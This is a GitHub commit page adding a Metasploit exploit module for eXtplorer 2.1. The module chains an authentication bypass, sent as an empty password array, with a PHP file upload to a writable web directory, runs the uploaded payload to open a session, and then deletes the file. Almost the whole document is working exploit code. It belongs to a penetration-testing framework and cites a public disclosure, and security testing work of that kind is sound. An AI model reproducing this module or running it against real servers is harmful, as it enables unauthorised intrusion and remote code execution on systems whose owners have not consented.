Skip to content

Commit 8f91352

Browse files
author
jvazquez-r7
committed
Merge branch 'extplorer_upload_exec' of https://github.com/bcoles/metasploit-framework into bcoles-extplorer_upload_exec
2 parents 7a1a998 + 8e543cf commit 8f91352

File tree

1 file changed

+228
-0
lines changed

1 file changed

+228
-0
lines changed
Lines changed: 228 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,228 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
18+
'Description' => %q{
19+
This module exploits an authentication bypass vulnerability in eXtplorer
20+
versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
21+
This application has an upload feature that allows an authenticated user
22+
with administrator roles to upload arbitrary files to any writable
23+
directory in the web root. This module uses an authentication bypass
24+
vulnerability to upload and execute a file.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
30+
],
31+
'References' =>
32+
[
33+
['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
34+
['URL', 'http://extplorer.net/issues/105']
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00"
39+
},
40+
'DefaultOptions' =>
41+
{
42+
'ExitFunction' => "none"
43+
},
44+
'Platform' => 'php',
45+
'Arch' => ARCH_PHP,
46+
'Targets' =>
47+
[
48+
['Automatic Targeting', { 'auto' => true }]
49+
],
50+
'Privileged' => false,
51+
'DisclosureDate' => "Dec 31 2012",
52+
'DefaultTarget' => 0))
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
57+
OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin'])
58+
], self.class)
59+
end
60+
61+
def check
62+
63+
base = target_uri.path
64+
base << '/' if base[-1, 1] != '/'
65+
peer = "#{rhost}:#{rport}"
66+
67+
# retrieve software version from ./extplorer.xml
68+
begin
69+
res = send_request_cgi({
70+
'method' => 'GET',
71+
'uri' => "#{base}extplorer.xml"
72+
})
73+
74+
return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
75+
return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/
76+
return Exploit::CheckCode::Safe
77+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
78+
print_error("#{peer} - Connection failed")
79+
end
80+
return Exploit::CheckCode::Unknown
81+
82+
end
83+
84+
def on_new_session(client)
85+
if client.type == "meterpreter"
86+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
87+
client.fs.file.rm("#{@fname}")
88+
else
89+
client.shell_command_token("rm #{@fname}")
90+
end
91+
end
92+
93+
def upload(base, dir, fname, file)
94+
95+
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
96+
data_post = "--#{boundary}\r\n"
97+
data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n"
98+
data_post << "Content-Type: application/x-httpd-php\r\n"
99+
data_post << "\r\n#{file}\r\n"
100+
data_post << "--#{boundary}\r\n"
101+
data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n"
102+
data_post << "--#{boundary}\r\n"
103+
data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n"
104+
data_post << "--#{boundary}\r\n"
105+
data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n"
106+
data_post << "--#{boundary}\r\n"
107+
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n"
108+
data_post << "--#{boundary}\r\n"
109+
data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n"
110+
data_post << "--#{boundary}\r\n"
111+
data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n"
112+
data_post << "--#{boundary}\r\n"
113+
114+
res = send_request_cgi({
115+
'method' => 'POST',
116+
'uri' => "#{base}index.php",
117+
'ctype' => "multipart/form-data; boundary=#{boundary}",
118+
'data' => data_post,
119+
'cookie' => datastore['COOKIE'],
120+
})
121+
122+
return res
123+
end
124+
125+
def auth_bypass(base, user)
126+
127+
res = send_request_cgi({
128+
'method' => 'POST',
129+
'uri' => "#{base}index.php",
130+
'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
131+
'cookie' => datastore['COOKIE'],
132+
})
133+
return res
134+
135+
end
136+
137+
def exploit
138+
139+
base = target_uri.path
140+
base << '/' if base[-1, 1] != '/'
141+
@peer = "#{rhost}:#{rport}"
142+
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
143+
user = datastore['USERNAME']
144+
datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"
145+
146+
# bypass auth
147+
print_status("#{@peer} - Authenticating as user (#{user})")
148+
res = auth_bypass(base, user)
149+
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
150+
print_status("#{@peer} - Authenticated successfully")
151+
else
152+
print_error("#{@peer} - Authentication failed")
153+
return
154+
end
155+
156+
# search for writable directories
157+
print_status("#{@peer} - Retrieving writable subdirectories")
158+
begin
159+
res = send_request_cgi({
160+
'method' => 'POST',
161+
'uri' => "#{base}index.php",
162+
'cookie' => datastore['COOKIE'],
163+
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
164+
})
165+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
166+
print_error("#{@peer} - Connection failed")
167+
return
168+
end
169+
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
170+
dir = "#{base}#{$1}"
171+
print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
172+
else
173+
dir = "#{base}"
174+
print_error("#{@peer} - Could not find a writable subdirectory.")
175+
end
176+
177+
# upload PHP payload
178+
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
179+
php = %Q|<?php #{payload.encoded} ?>|
180+
begin
181+
res = upload(base, dir, @fname, php)
182+
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
183+
print_good("#{@peer} - File uploaded successfully")
184+
else
185+
print_error("#{@peer} - Uploading PHP payload failed")
186+
return
187+
end
188+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
189+
print_error("#{@peer} - Connection failed")
190+
return
191+
end
192+
193+
# search directories in the web root for the file
194+
print_status("#{@peer} - Searching directories for file (#{@fname})")
195+
begin
196+
res = send_request_cgi({
197+
'method' => 'POST',
198+
'uri' => "#{base}index.php",
199+
'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
200+
'cookie' => datastore['COOKIE'],
201+
})
202+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
203+
print_error("#{@peer} - Connection failed")
204+
return
205+
end
206+
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
207+
dir = $1.gsub('\\','')
208+
print_good("#{@peer} - Successfully found file")
209+
else
210+
print_error("#{@peer} - Failed to find file")
211+
end
212+
213+
# retrieve and execute PHP payload
214+
print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
215+
begin
216+
send_request_cgi({
217+
'method' => 'GET',
218+
'uri' => "/#{dir}/#{@fname}"
219+
})
220+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
221+
print_error("#{@peer} - Connection failed")
222+
return
223+
end
224+
if res and res.code != 200
225+
print_error("#{@peer} - Executing payload failed")
226+
end
227+
end
228+
end

0 commit comments

Comments
 (0)